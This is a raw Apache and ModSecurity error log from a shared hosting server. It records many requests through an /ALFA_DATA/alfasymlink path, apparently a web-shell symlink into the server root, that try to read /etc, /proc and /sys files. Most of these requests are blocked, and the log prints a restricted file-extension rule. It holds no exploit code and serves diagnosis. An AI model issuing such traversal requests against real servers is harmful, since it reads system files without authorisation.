[Tue Oct 27 10:42:30.420992 2026] [security2:error] [pid 3245441:tid 3245441] [client 16.216.88.220:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "auC4VuDGYG7bZ6qVgjro-wAAABA"]
[Tue Oct 27 10:42:30.421462 2026] [security2:error] [pid 3245441:tid 3245441] [client 16.216.88.220:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "auC4VuDGYG7bZ6qVgjro-wAAABA"]
[Tue Oct 27 10:42:30.421790 2026] [security2:error] [pid 3245441:tid 3245441] [client 16.216.88.220:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "auC4VuDGYG7bZ6qVgjro-wAAABA"]
[Tue Oct 27 10:42:36.035624 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 34.224.132.215:61972] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:42:50.897697 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:60072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC4YGgdpW92b4rNnH0AuAAAAAg"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:42:50.897773 2026] [security2:error] [pid 3245437:tid 3245437] [client 107.172.76.131:60072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC4YGgdpW92b4rNnH0AuAAAAAg"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:43:09.740355 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 44.210.213.220:46997] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:43:15.840002 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 44.210.213.220:25615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:43:24.271130 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 23.21.175.228:43875] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:43:24.640938 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 185.191.171.12:25560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/remote_node_defrag_ratio
[Tue Oct 27 10:43:35.744364 2026] [core:error] [pid 3245698:tid 3245698] (13)Permission denied: [client 3.227.180.70:42950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource0
[Tue Oct 27 10:43:35.744904 2026] [security2:error] [pid 3245698:tid 3245698] [client 3.227.180.70:42950] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource0"] [unique_id "auC4lxXBYmBHrjfyUDsNBQAAAAU"]
[Tue Oct 27 10:43:35.744935 2026] [security2:error] [pid 3245698:tid 3245698] [client 3.227.180.70:42950] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource0"] [unique_id "auC4lxXBYmBHrjfyUDsNBQAAAAU"]
[Tue Oct 27 10:43:55.896040 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.71.46.142:46589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:07.729126 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 3.216.86.144:59784] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:13.642223 2026] [authz_core:error] [pid 3249203:tid 3249203] [client 216.73.217.51:61649] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 10:44:19.927785 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.232.12.157:35579] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:23.964827 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 54.86.59.155:28592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:28.090890 2026] [core:error] [pid 3238311:tid 3238311] (13)Permission denied: [client 18.207.79.144:2537] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/physical_node1/subsystem/drivers_probe
[Tue Oct 27 10:44:36.154267 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 52.44.229.124:31564] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:36.668657 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 185.191.171.3:63794] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:37.109681 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 185.191.171.3:63808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:41.290906 2026] [security2:error] [pid 3245698:tid 3245698] [client 107.172.76.131:60118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC4zRXBYmBHrjfyUDsNCAAAAAU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:44:41.290980 2026] [security2:error] [pid 3245698:tid 3245698] [client 107.172.76.131:60118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC4zRXBYmBHrjfyUDsNCAAAAAU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:44:44.010644 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.192.67.98:16208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:48.258971 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 34.227.234.246:42353] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:44:56.058065 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 3.229.2.217:53271] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:45:03.728998 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 44.207.252.58:53434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ec/uevent
[Tue Oct 27 10:45:07.798456 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 18.205.213.231:59241] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:45:07.798653 2026] [security2:error] [pid 3245436:tid 3245436] [client 18.205.213.231:59241] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/devices/memory3/removable"] [unique_id "auC480T-nkC2k8zcLn8VogAAAAE"]
[Tue Oct 27 10:45:07.798681 2026] [security2:error] [pid 3245436:tid 3245436] [client 18.205.213.231:59241] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/devices/memory3/removable"] [unique_id "auC480T-nkC2k8zcLn8VogAAAAE"]
[Tue Oct 27 10:45:19.862237 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 18.208.11.93:18101] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:45:23.849573 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.3.156.186:60514] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:45:43.973700 2026] [core:error] [pid 3246081:tid 3246081] (13)Permission denied: [client 54.91.122.193:21013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:05/eject
[Tue Oct 27 10:45:49.141410 2026] [security2:error] [pid 3250097:tid 3250097] [client 16.216.88.195:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "auC5Hd-UH8rIZL85QFqIkwAAAAQ"]
[Tue Oct 27 10:45:49.141981 2026] [security2:error] [pid 3250097:tid 3250097] [client 16.216.88.195:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "auC5Hd-UH8rIZL85QFqIkwAAAAQ"]
[Tue Oct 27 10:45:49.142331 2026] [security2:error] [pid 3250097:tid 3250097] [client 16.216.88.195:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "auC5Hd-UH8rIZL85QFqIkwAAAAQ"]
[Tue Oct 27 10:45:51.901234 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 54.84.250.51:51067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:45:56.036552 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 18.214.186.220:41362] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:45:59.747139 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 184.73.239.35:23229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/battery/uevent
[Tue Oct 27 10:46:08.050763 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.23.112.144:32484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:46:11.862702 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 23.21.119.232:8828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:46:19.705625 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.194.233.48:64088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:46:23.863392 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.1.106.130:33469] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:46:32.182292 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 54.163.136.244:52661] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:46:43.836196 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.6.232.201:26296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:46:55.693614 2026] [core:error] [pid 3245441:tid 3245441] (13)Permission denied: [client 54.156.248.117:33883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/remove_id
[Tue Oct 27 10:46:58.958239 2026] [core:error] [pid 3246081:tid 3246081] (13)Permission denied: [client 85.208.96.211:52484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/objects
[Tue Oct 27 10:46:59.739182 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.234.197.175:4091] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:47:03.821894 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 3.209.174.110:63976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:47:07.947288 2026] [core:error] [pid 3246081:tid 3246081] (13)Permission denied: [client 44.197.76.210:1167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/PNP0303:00/physical_node1/drvctl
[Tue Oct 27 10:47:15.754231 2026] [ssl:error] [pid 3240911:tid 3240911] (5)Input/output error: [client 18.211.148.239:5630] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:47:31.753632 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 98.83.177.42:57923] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:47:35.894461 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 3.89.176.255:50250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/remove_id
[Tue Oct 27 10:47:47.716542 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 98.84.131.195:54862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:47:51.858055 2026] [core:error] [pid 3250259:tid 3250259] (13)Permission denied: [client 3.93.253.174:36086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/type
[Tue Oct 27 10:48:03.898096 2026] [core:error] [pid 3249989:tid 3249989] (13)Permission denied: [client 34.193.2.57:40705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:05.0/rescan
[Tue Oct 27 10:48:07.937076 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 18.215.112.101:12579] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:48:23.707888 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 54.85.109.140:65040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:48:27.854100 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 44.194.134.53:40016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:48:31.729533 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 100.28.49.152:48387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:48:39.937748 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 35.173.18.61:60315] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/memory18/subsystem/drivers_probe
[Tue Oct 27 10:48:51.901702 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 100.28.133.214:42405] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:48:55.698809 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 54.83.56.1:45169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:48:59.906089 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 3.208.156.9:24085] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:04.880600 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.54.249.218:20571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:11.716068 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 107.20.181.148:16778] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:19.796354 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 34.236.41.241:9631] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:35.779080 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.215.49.176:60785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:39.863541 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 34.225.243.131:29233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:43.777905 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 54.89.90.224:24297] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:49:47.829892 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 184.73.239.35:25012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory14/node0/cpu1/crash_notes
[Tue Oct 27 10:50:07.911081 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 23.23.104.107:59963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:50:15.713849 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.223.115.10:34172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:50:20.290006 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 3.215.221.125:65245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory22/subsystem/uevent
[Tue Oct 27 10:50:23.794440 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 100.29.155.89:63149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:50:31.876318 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 34.204.150.196:30560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:50:49.260032 2026] [authz_core:error] [pid 3249989:tid 3249989] [client 66.132.195.48:17440] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 10:50:51.749514 2026] [ssl:error] [pid 3238313:tid 3238313] (5)Input/output error: [client 44.195.145.102:26895] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:50:55.747460 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 54.159.98.248:12597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:02.887903 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 185.191.171.11:32666] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:03.943470 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 184.73.68.20:53343] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:07.779830 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 52.203.152.231:38487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:08.801569 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 85.208.96.199:34838] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:15.736971 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 44.212.145.46:50217] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:19.918651 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 35.169.240.53:39550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:13/subsystem/uevent
[Tue Oct 27 10:51:23.812914 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 35.168.238.50:55874] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:35.732963 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 3.231.193.38:63372] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:51:55.801443 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 98.83.10.183:55386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/5/module/uevent
[Tue Oct 27 10:51:58.673824 2026] [core:crit] [pid 3243694:tid 3243694] (13)Permission denied: [client 66.132.172.198:47642] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 10:52:04.628077 2026] [core:crit] [pid 3245635:tid 3245635] (13)Permission denied: [client 66.132.172.198:42430] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 10:52:08.881744 2026] [authz_core:error] [pid 3249203:tid 3249203] [client 34.236.123.207:25054] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 10:52:09.033066 2026] [authz_core:error] [pid 3250259:tid 3250259] [client 54.165.121.143:65145] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 10:52:13.139321 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:60004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC6iSuRyqQjBmRbW2sN-wAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 10:52:13.139365 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:60004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC6iSuRyqQjBmRbW2sN-wAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 10:52:13.499319 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 185.191.171.4:24642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:52:15.706594 2026] [core:error] [pid 3250159:tid 3250159] (13)Permission denied: [client 52.71.46.142:25302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/serio_raw/bind
[Tue Oct 27 10:52:35.585749 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 54.84.161.62:59723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:52:43.659554 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 54.144.185.255:24045] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:52:47.789360 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 44.215.61.66:23082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:52:55.689080 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 23.21.179.120:53745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:53:03.532652 2026] [core:error] [pid 3252638:tid 3252638] (13)Permission denied: [client 98.83.94.113:54554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/rescan
[Tue Oct 27 10:53:07.915881 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.193.2.57:31238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:53:15.584192 2026] [core:error] [pid 3249203:tid 3249203] (13)Permission denied: [client 34.196.114.170:13225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers/hpet/bind
[Tue Oct 27 10:53:19.452441 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 44.195.145.102:61116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:53:23.598269 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 50.16.72.185:37808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/devices/device:05/physical_node/resource4_wc
[Tue Oct 27 10:53:27.673253 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 100.25.120.246:55794] AH02013: coalesce failed to read from data bucket
